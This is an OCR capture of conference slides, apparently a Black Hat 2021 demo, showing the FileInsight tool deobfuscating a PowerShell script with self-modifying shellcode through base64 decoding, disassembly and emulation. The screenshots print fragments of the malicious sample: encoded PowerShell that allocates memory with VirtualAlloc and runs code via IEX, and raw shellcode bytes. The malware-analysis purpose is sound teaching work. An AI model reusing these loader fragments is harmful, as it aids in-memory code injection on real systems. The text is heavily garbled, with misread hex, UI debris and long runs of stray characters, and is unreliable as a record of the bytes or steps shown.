🗠 👬 .text	C94 D2 25	00 01 01 01 01 01 01 75 00 01 75	00 00			
➡ EP = C14	CM 57 57	ED 33 CO C2 OD 43 EC 33	C2 74	26 04 00 74		
🕂 .rdata	CR4 SE 31	55 33 C0 C3 65 42 FC 3A	20 10	27 02 74 15		
📑 .data	CC4 84 C0	. ES /4 2/ 04 E4 /4 E/ CI	24 D4	70 GC ET ET	1.at .atçAeAt.	
📩 .rsrc	CD4 84 CC	TE ED CO OD 40 EP EP EP	5 C C C 2	0D 40 FD FF		
reloc						
inclose	Disasm: .text G	eneral DOS Hdr Rich Hdr	File Hdr	Optional Hdr Section Hdrs D Imports D Resources	BaseReloc. DiadConfig	
		Hex		Disasm		Hint
	1814	E8E42F0000	V	CALL 0X4047FD		
	1819	E995FEFFFF	<u> </u>	JMP 0X4016B3		
	181E	cc		INT3		
	181F	cc		INT3		
	1820	8D42FF		LEA EAX, [EDX - 1]		
	1823	5B		POP EBX		
	1824	C3		RET		
	1825	8DA42400000000		LEA ESP, [ESP]		
	182C	8D642400		LEA ESP, [ESP]		
	1830	33C0		XOR EAX, EAX		
	1832	8A442408		MOV AL, BYTE PTR [ESP + 8]		
	1836	53		PUSH EBX		
	1837	8BD8		MOV EBX, EAX		
	1839	C1E008		SHL EAX, 8		
	183C	8B542408		MOV EDX, DWORD PTR [ESP + 8]		
	1840	F7C203000000		TEST EDX, 3		
	1846	7415	V	JE SHORT 0X40185D		
	1848	SAOA		MOV CL, BYTE PTR [EDX]		
	184A	83C201		ADD EDX, 1		
	184D	3ACB		CMP CL, BL		
	184F	74CF	<u> </u>	JE SHORT 0X401820		
	1851	84C9		TEST CL, CL		
	1853	7451	V	JE SHORT 0X4018A6		
	1855	F7C203000000		TEST EDX, 3		
	185B	75EB	<u> </u>	JNE SHORT 0X401848		
	185D	OBDS		OR EBX, EAX		
	185F	57		PUSH EDI		
	1860	8BC3		MOV EAX, EBX		
	1862	C1E310		SHL EBX, 0X10		
	1865	56		PUSH ESI		
	1866	0BD8		OR EBX, EAX		
		8B0A		MOV ECX, DWORD PTR [EDX]		
	E 186A	BFFFFEFE7E		MOV EDI, 0X7EFEFEFF		
	Ĕ 186F	8BC1		MOV EAX, ECX		
	ਰੇ 1871	8BF7		MOV ESI, EDI		
	5 1873	230B		XOD FOX FRX		
paded: c:\users\user\appdata\local\temp\tmpn	mrsmf					





Demo 3

- Deobfuscation with emulation of shellcode
- Powershell script that contains a self-modifying shellcode
- Plugins used in this demo
 - Basic -> Copy to new file
 - Encoding -> Custom base64 decode
 - Parsing -> Disassemble
 - Misc -> Emulate code

- Parsing -> Find PE file
- Searching -> YARA scan



A @BLACKHATEVENTS







đ ×

INS

 \Box

4:58 PM 8/7/2021

🕆 🗘 🔌 🕼 🖓 🖬 🗛 🚺





Ln 6 Col 358600 Len 358600 INS
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1
 1</

			FileInsight - New file 0*
File <u>H</u> ome <u>E</u> dit <u>S</u> earch <u>P</u> lu	ugins <u>W</u> indows He <u>l</u> p		
Derations			
Plugins			
Navigation	₽ 3d30ac25c3121e969d195d7eadcf1 ×	New file 0* ×	
X Supported for HTML, OLE2, PE and Flash.	00000000 55 32 56 3 00000010 5A 47 55 6 00000020 4D 67 6F 4 00000030 4A 77 70 6 00000050 58 32 46 6 00000060 55 47 46 7 00000070 62 57 39 6 00000080 58 33 42 7 00000080 58 33 42 7 00000080 58 33 42 7 00000080 58 33 42 7 00000080 58 33 42 7 00000080 58 33 42 7 00000080 58 33 42 7 00000080 58 33 42 7 00000080 58 33 42 7 00000080 64 47 68 7 00000080 63 45 52 7 00000080 63 79 67 7 00000080 54 32 4A 7 00000100 54 32 4A 7 00000110 52 32 78 7 00000120 62 48 66 4	30 4C 56 4E 30 63 6D 6C 6A 64 57 4C 56 5A 6C 63 6E 4E 70 62 4B 4A 45 52 76 53 58 51 67 50 5D 64 57 35 6A 64 47 6C 76 62 5A 58 32 64 6C 64 46 39 77 63 5B 5A 48 4A 6C 63 33 4D 67 65 79 59 57 30 67 4B 43 52 32 59 5B 64 57 78 6C 4C 43 41 6B 64 79 62 32 4E 6C 5A 48 56 79 5A 64 57 78 6C 4C 43 41 6B 64 79 62 6D	45 31 76 U2V0LVN0cmljdE1v 32 34 67 ZGUGLVZ1cnNpb24g 53 42 41 MgoKJERvSXQgPSBA 69 42 6D JwpmdW5jdGlvbiBm 6D 39 6A dW5jX2dldF9wcm9j 77 6F 4A X2FkZHJlc3MgewoJ 58 4A 66 UGFyYW0gKCR2YXJf 6D 46 79 bW9kdWxlLCAkdmFy 53 6B 4A X3Byb2N1ZHVyZSkJ 6E 4E 68 CQoJJHZhc191bnNh 32 31 6C ZmVfbmF0aXZ1X211 30 46 77 dGhvZHMgPSAoW0Fw 6B 4E 31 cERvbWFpb1060kN1 57 34 75 cnJlbnREb21haW4u 47 6C 6C R2V0QXNzZW1ibG11 6D 55 74 cygpIHwgV2h1cmUt 46 38 75 T2JqZWN0IHsgJF8u 57 31 69 R2xvYmFsQXNzZW1i

Navigation ⁴	A 3d30ac25c3121e969d195d7eadcf1 × New file 0* ×	4 ▷
Navigation Image: Supported for HTML, OLE2, PE and Flash. Image: Supported for HTML, OLE2, PE and Flash.	3 zdbuc/sci2/eddedbardrawdf. x x 0 0000000 55 x 47 55 67 4c 56 5A 6c 63 66 4c 70 62 32 34 67 2GUgLV21cnNpb24g 0 0000000 55 x 47 55 67 4c 56 5A 6c 63 66 4c 70 62 32 34 67 2GUgLV21cnNpb24g 0 0000000 4D 67 6F HB 4A 45 52 76 53 56 51 67 50 33 42 41 MgcKJENtSXKQFP8BA 0 0000000 45 73 55 6A 54 4c 64 39 77 63 cD 39 6A 4W 5jX211F9Wcm9j 0 0000000 55 37 36 6A 44 76 76 78 62 62 42 6D JWpudWsjdG1Vb1Bm 0 0000000 55 37 36 67 44 77 758 cC 4c 43 40 67 95 57 76 4A X2FXzHJ1c3MgewoJ 0 0000000 58 33 42 79 62 32 4E 6c 5A 48 56 79 5A 53 68 4A X3Byb2N12HYZ8kJ 0 0000000 43 51 67 4A 4A 48 61 67 50 53 74 16 67 93 JB 62 4E 68 C QOJH2hc191bNNh 0 0000000 64 77 68 75 8A 44 64 75 50 57 31 66 76 42 45 16 67 70 47 4H QPSA0WOFW 0 0000000 64 75 65 44 64 70 75 62 26 30 16 16 58 57 34 75 67 16 76 4X 2FKHWZBb10 60 kN1 0 0000000 63 45 52 76 62 57 46 70 56 22 46 82 31 66 15 75 74 75 65 75 10 57 81 45 10 49 48 77 67 56 32 68 86 30 75 17 10 pRb21harM4u 0 0000000 53 35 26 66 46 78 76 59 32 46 30 61 57 39 75 1 cR1Lkxvr2PaW9U 0 0000000 53 35 59 60 46 73 15 58 42 76 56 35 73 73 16 96 R240 QKNZZW1ib00 KN1 0 0000100 52 32 78 76 59 60 46 73 51 58 42 65 58 63 20 10 L1WW52UZW1K0 0 0000100 53 35 46 62 65 59 56 55 57 36 63 70 1	
Values Rookmarks R Calculator	< Output Scripting	Offset 0h (0) Length 0h (0) OVR
		tk [J ▲ 印 指 M A U 8/7/2021 ↓



-

o ×

⊅ ⊽			FileInsight - New file 0*
File <u>H</u> ome	<u>E</u> dit <u>S</u> earch <u>P</u> lugin	s <u>W</u> indows He <u>l</u> p	
	Basic +		
Operations	Compression •		
	Crypto		
Diverge	Encoding	de ► Hex text to binary data	
Plugins	Misc Encod	le 🕨 Decimal text to binary data	
Navigation	Parsing 🕨 📕	Octal text to binary data	New file 0* ×
K Supported fo	Search 🕨 👫	Binary text to binary data	30 5A 57 30 75 55 6E 56 75 64 47 6C 74 eXN0ZW0uUnVudGlt
	Visualization	Custom base16 decode	4A 62 6E 52 6C 63 6D 39 77 55 32 56 79 ZS5JbnRlcm9wU2Vy
	XOR 🕨	Custom base32 decode	6A 5A 58 4D 75 54 57 46 79 63 32 68 68 dmljZXMuTWFyc2hh
	Check for update	Custom base58 decode	36 4F 6B 64 6C 64 45 52 6C 62 47 56 6E bF060kdldERlbGVn
	Version info	Custom base64 decode	6C 52 6D 39 79 52 6K 56 75 59 33 52 700 2 X RIRM9 Y RIVUI3 RP
		Custom base85 decode	51 52 52 60 50 50 50 50 50 50 50 50 50 50 50 50 50
		Protobut decode	6B 5A 48 4A 6C 63 33 4D 67 61 32 56 79 X2FkZHJlc3Mga2Vv
		From quoted printable	73 4D 7A 49 75 5A 47 78 73 49 46 64 68 bmVsMzIuZGxsIFdh
		URL decode	47 62 33 4A 54 61 57 35 6E 62 47 56 50 aXRGb3JTaW5nbGVP
			6C 59 33 51 70 4C 43 41 6F 5A 6E 56 75 YmplY3QpLCAoZnVu
		000577A0 59 31 3	9 6E 5A 58 52 66 5A 47 56 73 5A 57 64 68 Y19nZXRfZGVsZWdh
		000577в0 64 47 5	6 66 64 48 6C 77 5A 53 42 41 4B 46 74 4A dGVfdHlwZSBAKFtJ
		000577C0 62 6E 5	2 51 64 48 4A 64 4C 43 42 62 53 57 35 30 bnRQdHJdLCBbSW50
		000577b0 4D /A 4	A 64 4B 53 6B 70,4C 6B 6C 75 64 6D 39 72 MZJAKSKPLKIUAM91 7 6P 64 6D 46 79 59 32 69 30 61 49 47 6C 79 ckdmEuX2b0-HII
		000577E0 59 57 5	7 6B 64 6D 46 79, 50 52 66 50 61 46 4A 6C 2 S G K C M F Y Z H C A H C T Z M Z M Z M Z M Z M Z M Z M Z M Z M Z
		00057800 5A 69 6	B 67 66 43 42 50 64 58 51 74 54 6E 56 73 ZikqfCBPdXOtTnVs
		00057810 62 41 6	F 6E 51 41 6F 4B 53 57 59 67 4B 46 74 4A bAonQAoKSWYgKFtJ
		00057820 62 6E 5	2 51 64 48 4A 64 4F 6A 70 7A 6 Serint is remnine x please wait
		00057830 49 43 3	1 6C 63 53 41 34 4B 53 42 37 43 67 60 7A 1C11CSA4KSBOCg Z
		00057840 64 47 4	6 79 64 43 31 71 62 32 49 67 65 79 42 77 dGFydC1qb2IgeyBw
		00057850 59 58 42	A 68 62 53 67 6B 59 53 6B 67 53 55 56 59 YXJhbSgkYSkgSUVY
		00057860 49 43 5	2 68 49 48 30 67 4C 56 4A 31 62 6B 46 7A ICRNIHUGLVJIDKFZ
🗠 Navigation 🛛	📸 Structures 🛛 Decode	00057880 49 43 5	2 45 62 30 6C 30 49 48 77 67 64 32 46 70 ICREDOLOTHWAD 2 En
/alues		00057890 64 43 3	1 71 62 32 49 67 66 43 42 53 5A 57 4E 6C dClab2tafCBSZWN]
$\rightarrow \rightarrow$		000578A0 61 58 5	A 6C 4C 55 70 76 59 67 70 39 43 6D 56 73 aXZlLUpvYqp9CmVs
BE HEX		000578B0 63 32 5	5 67 65 77 6F 4A 53 55 56 59 49 43 52 45 c2UgewoJSUVYICRE
Byte	12005	000578C7 62 30 60	C 30 43 6E 30 4B b010Cn0K
DWORD	810955349	Outrast	
ASCII	U2V0LVN0cmljdE1vZGUgL	Output	
Unicode	????X???????????X?????p??		
		<	
🧟 Values 📃 🗔 B	ookmarks 🗮 Calculator	Cutnut C Scrinting	

Press F1 for help

🖷 🗄 🚍 🎞 🍅 刘 💟 🦃



ð X

										^
_	-	-	-	-	-	-	-	-	-	~
	-	_	_	_	_	_	_	_	_	4
	-	-	-	-	_	_	-	_	-	-
		_	_	_	_	_	_	_	_	>
			01	fset O	5 (D)	Lengt	57809	Rh (359)	500) L	OVP
	•	A	- da				4:5	9 PM		
	V	L,	ц»,	μ	···· /		8/7	/2021	<u>ل</u>	

	FileInsight - New file 0*
File <u>H</u> ome <u>E</u> dit <u>S</u> earch <u>P</u> lug	ins <u>W</u> indows He <u>i</u> p
Plugins	
Necientian II	
Supported for HTML OLE2 DE and Elash	
Supported for HTML, OLE2, PE and Hash.	00057700 64 55 84 ± 30 5A 57 30 75 55 6E 56 75 64 47 6C 74 00057710 64 6D 6C 6A 5A 58 4D 75 54 57 46 79 63 22 68 74 00057720 62 46 30 36 4F 6B 64 6C 64 45 52 6C 62 47 56 62 00057730 62 46 30 36 4F 6B 64 6C 64 45 52 6C 62 47 56 62 00057740 62 32 35 51 62 32 6C 75 64 47 56 79 4B 43 68 6D 00057750 64 57 35 6A 58 32 64 6C 64 46 39 77 63 6D 39 6A 00057760 64 57 35 6A 58 32 64 6C 64 46 39 77 63 6D 39 6A 00057780 64 57 35 6A 58 32 64 6C 64 46 39 77 63 6D 39 6A 00057780 61 58 52 47 62 33 4A 54 61 57 35 6E 62 47 56 50 00057780 61 58 52 47 62 33 4A 54 61 57 35 6E 62 47 56 50 00057780 61 58 52 47 62 33 4A 54 61 57 35 6E 62 47 56 50 00057780 64 47 56 66 64 48 6C 77 5A 53 42 41 4B 46 74 4A 00057780 64 47 56 66 64 48 50 77 5A 53 42 41 4B 46 74 4A 00057780 0057780 62 6E 52 51 64 48 4A 64 4C 43 42 62 53 57 35 0B 57 72 0057780 64 47 56 66 64 48 6C 77 5A 53 42 41 4B 46 74 4A 0057780 0057780 62 6E 52 51 64 48 4A 64 4C 43 42 62 53 57 35 0B 0057780 64 47 56 66 64 48 50 5A 6D 5
	00057850 59 58 4A 68 62 53 67 6B 59 Enter base64 table: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/= OK
	00057860 49 43 52 68 49 48 30 67 4C 50 4A 51 62 6B 40 7A TICKITHOGLVUTDKF2
🗟 Navigation 📝 Structures D Decode	00057880 49 43 52 45 62 30 6C 30 49 48 77 67 64 32 46 70 TCREb010THwad2Ep
Values P	00057890 64 43 31 71 62 32 49 67 66 43 42 53 5A 57 4E 6C dC1gb21gfCBSZWN1
	000578A0 61 58 5A 6C 4C 55 70 76 59 67 70 39 43 6D 56 73 aXZLUpvYgp9CmVs
Bt Hex	000578B0 63 32 55 67 65 77 6F 4A 53 55 56 59 49 43 52 45 c2UgewoJSUVYICRE
WORD 12885	000578C7 62 30 6C 30 43 6E 30 4B b010Cn0K
DWORD 810955349	Output
ASCII U2V0LVN0cmljdE1vZGUgL	
Tolculator	Uutput Scripting
Press F1 for help	

i 🖷 🗮 🏹 🍅 🛪 💆 🥷 💽



ð X

										^
_	-	-	-	-	-	-	-	-	-	~
	-	_	_	_	_	_	_	_	_	4
	-	-	-	-	_	_	-	_	-	-
		_	_	_	_	_	_	_	_	>
			01	fset O	5 (D)	Lengt	57809	Rh (359)	500) L	OVP
	•	A	- da				4:5	9 PM		
	V	L,	ц»,	μ	···· /		8/7	/2021	<u>ل</u>	




d X

	⊳ – ×	r
	^	
<pre>\$Location.Split('\\')[-1].Equals('Sys</pre>	te	
ef](New-Object System.Runtime.InteropSer	vi	
ectedDelegate')), [System.Reflection.Emi	t.	
ard, \$var_parameters).SetImplementationF tImplementationFlags('Runtime, Managed')	'la	
P///01ff/5JU3z+BAWX/gQF16VWQMIss8EBptjBA	Vk	
VirtualAlloc) (func_get_delegate_type	0 (>	
		1
y (shellcode) will be uted on memory		
	_	ĺ
Ln 17 Col 4 Len		





File <u>H</u> ome <u>E</u> dit <u>S</u> earch <u>P</u> I	ugins <u>W</u> indows He <u>l</u> p
Operations	
Plugins	
Navigation	** 3d30ac25c3121e969d195d7eadcf1 × New file 0* × Output of Custom base64 decode* × New file 1* ×
Supported for HTML, OLE2, PE and Hash.	00000000 2F 4F 67 41 41 41 41 36 79 64 65 69 78 36 44 / OgAAAAA6ydeix6D
	00000000 = 78 67 53 4C 46 6A 48 61 67 38 59 45 56 6F 73 4F XgSLF Hag8YEVOSO
	00000030 4D 63 6B 35 79 6E 51 43 36 2B 70 62 2F 2B 50 6F Mck5ynQC6+pb/+Po
	00000040 31 50 2F 2F 2F 30 6C 66 66 2F 35 4A 55 33 7A 2B 1P///01ff/5JU3z+
	00000050 42 41 57 58 2F 67 51 46 6C 36 56 57 51 4D 49 73 BAWX/gQF16VWQMIs
	00000070 59 30 7A 43 44 6D 4D 63 50 64 34 4C 37 49 68 38 Y0zCDmMcPd4L7Th8
	00000080 58 59 53 4E 66 46 32 45 33 59 4F 4F 68 4E 32 44 XYSNfF2E3YOOhN2D
	00000090 6A 6F 54 64 67 34 36 45 33 59 4F 4F 68 4E 32 44 joTdg46E3YOOhN2D
	000000A0 5A 6F 54 64 67 32 69 62 5A 34 31 6F 4C 32 35 41 ZOTdg2ibZ41oL25A
	000000000 = 6E 36 70 38 5A 76 37 48 58 41 57 66 71 54 4A 71 n6p8Zv7HXAWfgTJg
	000000D0 36 34 6C 51 44 38 76 37 4A 57 48 72 6B 6B 74 42 641QD8v7JWHrkktB
	000000E0 72 39 30 59 59 63 4B 79 66 41 54 73 76 33 45 4F r90YYcKyfATsv3E0
	000000F0 79 4C 39 78 44 73 69 2F 63 51 34 78 73 64 68 69 yL9xDsi/cQ4xsdhi
	00000110 4C 2B 4E 63 59 72 57 4D 6D 31 30 57 73 63 6C 69 L+NcYrWMm10Wscli
	00000120 75 4E 34 4F 58 52 76 6A 53 6D 4C 64 6A 49 31 64 uN4OXRvjSmLdjI1d
	00000130 52 79 55 78 59 76 56 4B 39 6C 31 49 4A 54 42 69 RyUxYvVK911IJTBi
	00000140 4A 30 72 33 58 59 52 33 75 57 4B 4F 47 48 35 64 JUT3XYR3UWKOGH5d 00000150 4C 53 55 72 59 70 46 4B 37 46 30 79 64 37 70 69 LSUrYDEK7E0vd7pi
	00000160 6A 68 68 39 58 64 78 78 48 6A 56 68 48 74 6B 4B jhh9XdxxHjVhHtkK
	00000170 59 52 37 5A 43 6D 45 65 32 51 70 68 48 74 6B 4B YR7ZCmEe2QphHtkK
🗠 Navigation 📝 Structures 🕞 Decode	00000180 59 52 37 5A 43 6A 46 62 32 51 70 39 57 74 77 4B YR7ZCjFb2Qp9WtwK
Bookmarks	= 00000140 = 33776A76664E514A356E7A55492B5238 3wjvfN0J5nzUI+R8
NRQ	000001B0 31 50 33 6B 66 4E 54 39 35 48 77 5A 6D 75 56 38 1P3kfNT95HwZmuV8
	000001c0 47 59 72 6C 66 42 6E 4B 35 33 77 5A 79 75 64 73 GYrlfBnK53wZyuds
	000001D0 47 64 72 6E 62 42 6E 59 35 32 77 63 32 4F 64 73 GdrnbBnY52wc20ds
	Output
	Copied 266320 bytes from offset 0x63f to 0x4168e to new tab 'New file 1'.
Yalues Bookmarks 📰 Calculator	📃 Output 📧 Scripting
<u></u> <u></u> <u></u>	

FileInsight - New file 1*

🔄 🗄 🚍 🎦 🎱 🏹 🚺

♥ 🖃



-

o ×

												→ ×
												^
												1
		-	-	-	-	-	-				_	•
_	-	-	-	-	-	-	-	-	-	-	_	*
		-	-	-		-	-				_	-
												>
						0	ffset	0h (0)	Len	gth Oh	(0)	OVR
	-	٦	2	\$ »)	貯	vm	A		3:00 8/7/	2021	5]

			FileInsight - New file 1*
File <u>H</u> ome <u>E</u> dit <u>S</u> earc	ch <u>P</u> lugins	<u>W</u> indows He <u>l</u> p	
Operation Basic			
Compression			
Crypto			
Plugins Encoding	Decode	Hex text to binary data	
Navigation Misc	Encode	Decimal text to binary data	× New file 0* × Output of Custom base64 decode* × New file 1* ×
X Supported	ash.	Octal text to binary data	A C 39 56 55 73 79 28 46 56 4C 4D 76 78 W S Z 1 9 V L C V / R V L M V V
Search		Binary text to binary data	A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 US 7 L 8 VILAV / FVLMVX
Visualization		Custom base16 decode	A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VSzLOVOSY/TVLMVX
XOR		Custom base32 decode	A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VSzL8VUSV/FVLMVX
Check for update		Custom base58 decode	A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VSzL8VUsv/FVLMvx
Version info		Custom base64 decode	A 4C 38 56 Decode selected region with custom base64 table SZL8VUSV/FVLMVX
		Custom base85 decode	A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VSzL8VUsy/FVLMvx
		Protobut decode	A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VSzL8VUsy/FVLMvx
		From quoted printable	A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VSzL8VUsy/FVLMvx
		Unicode unescape	A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VSzL8VUsy/FVLMvx
		URL decode	A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VSzL8VUsy/FVLMvx
		00040F30 56 53	A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VSzL8VUsy/FVLMvx
		00040F40 56 53	A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VSzL8VUsy/FVLMvx
		00040F50 56 53	A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VSzL8VUsy/FVLMvx
		00040F60 56 53	/A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VSzL8VUsy/FVLMvx
		00040F70 56 53	/A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VSzL8VUsy/FVLMvx
		00040F80 56 53	/A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VSzL8VUsy/FVLMvx
		00040F90 56 53	/A 4C 38 56 55 /3 /9 2F 46 56 4C 4D /6 /8 VSZL8VUSY/FVLMVX
		00040FA0 56 53	7A 4C 30 50 55 75 79 2F 40 50 4C 4D 70 70 VS2LOVUSY/FVLMVX
		00040FC0 56 53	7 AC 38 56 55 73 79 2F 46 56 4 Script is running, please wait
		00040FD0 56 53	7 4 C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VSzLOVOSY/FULMUX
		00040FE0 56 53	7A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VSzLOVOSY/TVLMVX
		00040FF0 56 53	7A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VSzL8VUSY/FVLMYX
		00041000 56 53	7A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VSzL8VUSV/FVLMVX
Navigation 🔯 Structures D	Decode	00041010 56 53	7A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VSzL8VUsv/FVLMvx
	Ф	00041020 56 53	7A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VSzL8VUsy/FVLMvx
Nala		00041030 56 53	7A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VSzL8VUsy/FVLMvx
		0004104F 56 53	7A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VSzL8VUsy/FVLMvx
		00041050	
	Out	put	
	<		
🖀 Values 🛛 📑 Bookmarks 🗍 🖬 Cald	culator	Output Scripting	
Press E1 for help			



o ×

										- ×
										^
										¥
										>
		c	Offset (0h (0)) Le	ngth	41050h	(26632	20)	OVR
-	۳. (s di) 門	vm	۸	J	5:01	PM		
10	L/ 1		- IT.		~	-	8/7/2	2021	~	

Ŭ ₹	FileInsight - New file 1*
File <u>H</u> ome <u>E</u> dit <u>S</u> earch <u>P</u> lug	jins <u>W</u> indows He <u>l</u> p
Plugins	
Navigation 7	3d30ac25c3121e969d195d7eadcf1 × New file 0* × Output of Custom base64 decode* × New file 1* ×
File Home Edit Search E Plugins Navigation ★ Supported for HTML, OLE2, PE and Flash. Supported for HTML OLE2, PE and Flash. Image: Support of the s	00040850 56 53 7A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VS 218 VUS y/ FVLM vx 00040850 56 53 7A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VS 18 VUS y/ FVLM vx 00040850 56 53 7A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VS 18 VUS y/ FVLM vx 00040850 56 53 7A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VS 18 VUS y/ FVLM vx 00040850 56 53 7A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VS 18 VUS y/ FVLM vx 00040850 56 53 7A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VS 18 VUS y/ FVLM vx 00040850 56 53 7A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VS 18 VUS y/ FVLM vx 00040850 56 53 7A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VS 18 VUS y/ FVLM vx 00040850 56 53 7A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VS 18 VUS y/ FVLM vx 00040870 56 53 7A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VS 18 VUS y/ FVLM vx 00040870 56 53 7A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VS 18 VUS y/ FVLM vx 00040870 56 53 7A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VS 18 VUS y/ FVLM vx 00040870 56 53 7A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VS 18 VUS y/ FVLM vx 00040870 56 53 7A 4C 38 56 55 73 79 2F 46 56 4C 4D 76 78 VS 18 VUS y/ FVLM vx 00040870 56
🚰 Values 🛛 🔁 Bookmarks 🛛 🥅 Calculator	E Output E Scripting
Press F1 for help	
🖪 H 📑 🏹 🗉 🕯	



										- ×
										^
										¥
										>
		c	Offset (0h (0)) Le	ngth	41050h	(26632	20)	OVR
-	۳. (s di) 門	vm	Δ	J	5:01	PM		
10	L/ 1		- IT.		~	-	8/7/2	2021	~	

	FileInsight - Output of Custom base64 decode*
File <u>H</u> ome <u>E</u> dit <u>S</u> earch <u>P</u> lug	ins <u>W</u> indows He <u>l</u> p
Operations	
Plugins	
Navigation	2d20ac25c2121a060d105d7aadcf1 X New file 0* X Output of Custom bacefd decade* X New file 1* X Output of Custom bacefd decade* X
Supported for HTML, QLE2, PE and Elash.	
	00000000 FC E8 00 00 00 EB 27 5E 8B IE 83 C6 04 8B I6 10 10 10 10 10 10 10 10 10 10 10 10 10
	00000020 04 83 EA 04 31 C9 39 CA 74 02 EB EA 5B FF E3 E8 1 9 t [
	00000030 D4 FF FF FF 49 5F 7F FE 49 53 7C FE 04 05 97 FE I IS
	00000040 04 05 97 A5 56 40 C2 2C B3 C1 01 A6 D8 C1 01 59 V@, Y SNEILCOCE
	$\begin{array}{c ccccccccccccccccccccccccccccccccccc$
	00000080 68 2F 6E 40 49 97 6F 0C 84 B6 3B 64 ED C5 1B 14 h/n@I o ;d
	00000090 9F AA 7C 66 FE C7 5C 05 9F A9 32 6A EB 89 50 0F f \ 2 j P
	000000A0 CB FB 25 61 EB 92 4B 41 AF DD 18 61 C2 B2 7C 04 % a KA a
	00000000 B5 8C 9B 5D 16 B1 C9 62 B8 DE 0E 5D 1B E3 4A 62 b Jb
	000000E0 DD 8C 8D 5D 47 25 31 62 F5 4A F6 5D 48 25 30 62]G%1b J]H%0b
	000000F0 27 4A F7 5D 84 77 B9 62 8E 18 7E 5D 2D 25 2B 62 'J] w b]-%+b
	00000100 91 4A EC 5D 32 77 BA 62 8E 18 7D 5D DC 71 1E 35 J] 2w b] q 5
	00000110 61 1E D9 0A 61 1E D9 0A 61 1E D9 0A 61 1E D9 0A a a a a a a a a a a a a a a a a a a
	00000120 3F 08 ED 5D 3F 08 ED 5D DF 08 EF 7C D4 09 E6 7C 2 1 2 1 1
	00000140 D4 23 E4 7C D4 FD E4 7C D4 FD E4 7C 19 9A E5 7C #
	00000150 19 8A E5 7C 19 CA E7 7C 19 CA E7 6C 19 DA E7 6C 1 1
	00000160 19 D8 E7 6C 1C D8 E7 6C 1C D8 E7 6C 19 D8 E7 6C 1 1 1 1 1
🖾 Navigation 🕺 Structures D Decode	00000190 60 08 A0 6D 60 08 A0 6D 70 08 A0 6D 70 E9 A2 6D ` m` mp mp m
Bookmarks P	000001A0 21 E9 A2 6D F5 26 A0 6D 55 26 A0 6D 55 D6 A3 6D ! m & mU & mU
	000001B0 E1 D7 A3 6D E1 D7 A3 6D E1 D7 A3 6D E1 D7 A3 6D m m m m
	000001C0 E1 D7 A3 6D E1 D7 A7 6D 05 C0 A7 6D 75 83 A5 6D m m mu m
	Output
	Decoded 266320 bytes with custom base64 table from offset 0x0 to 0x4104f.
	Added a bookmark to decoded region.
	C
Values Rookmarks Reculator	Scripting

🖷 🛱 🔚 🖾 🗳 刘 💆 🧠



-

ð X

												₹×
												^
		-	-	-	-	-	-				-	ņ
_	-							-	-	-		
		_										>
						- 0		05.00	1	ath Ol	(0)	01/19
	-					_	inset	on (0)	5:01	PM_		о ук
	1	Ċ,	2	())	卫	vm	A	U	8/7/	2021	۲,]

			FileInsight - Output of Custom baseb4 decode*	– d X
File	<u>H</u> ome <u>E</u> dit <u>S</u> earch	Plugins <u>W</u> indows	Help	
=> Opera	Basic Compression Crypto Encoding			
Navigation	Misc •	4 3d30ac25c3121e9690	d195d7eadcf1 × New file 0* × Output of Custom base64 decode* × New file 1* × Output of Custom base64 decode* ×	∢ ⊳ ا
